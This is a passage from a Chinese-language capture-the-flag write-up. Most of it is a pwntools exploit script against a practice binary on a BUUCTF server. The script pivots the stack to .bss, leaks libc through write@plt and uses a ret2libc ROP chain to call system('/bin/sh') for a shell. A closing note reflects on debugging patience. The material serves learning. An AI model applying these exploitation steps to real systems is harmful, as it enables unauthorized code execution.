sleep(1)


payload = p64(rdi) + p64(binsh) +  p64(system)


payload = payload.ljust(0xc0,b'c')


payload += p64(bss-8) + p64(leave_ret)


p.send(payload)


####################


p.interactive()

最终Payload:

from pwn import *


context.log_level = 'debug'


#p = process('./pwn')


p = remote('node4.buuoj.cn',26594)
#p = gdb.debug('./pwn','break *0x601058')
#p = gdb.debug('./pwn','break *0x400740')


elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')


leave_ret = 0x4006f7


main_addr = 0x400698
read_addr = 0x4006d9
rdi = 0x0000000000400763
rsi_r15 = 0x0000000000400761
write_got = elf.got['write']
write_plt = elf.plt['write']
csu_end = 0x40075a
csu_front = 0x400740


bss = elf.bss() + 0x500


log.info('bss:%s'%hex(bss))


### First Overflow: rbp => bss , return read_addr to leak write_addr
###


payload = b'd'\*0xc0 + p64(bss+0xc0) +p64(read_addr)


p.sendafter('it!\\n',payload)


sleep(1)


### Leak [write_addr] & return [main_addr]


payload = p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) #


payload = payload.ljust(0xc0,b'b')


payload += p64(bss-8) + p64(leave_ret)


p.send(payload)


### ret2libc: leak system_addr & binsh_addr


write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))


log.info("write_addr:%s"%hex(write_addr))


libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))


log.info("system_addr:%s,binsh:%s"%(hex(system),hex(binsh)))

log.info('Double Overvlow!try to getshell\n===================')


### Double Overflow: rdi+binsh+system = getshell


bss = elf.bss() + 0x800 #new bss


payload = b'a'*0xc0 + p64(bss+0xc0) +p64(read_addr)


p.sendafter('it!\n',payload)


sleep(1)


payload = p64(rdi) + p64(binsh) +  p64(system)


payload = payload.ljust(0xc0,b'c')


payload += p64(bss-8) + p64(leave_ret)


p.send(payload)


####################


p.interactive()


运行程序得到shell。


这一道pwn题学到真的挺多的,主要还得是耐心去调试,去找错在哪里,然后一步步完善脚本。学到了!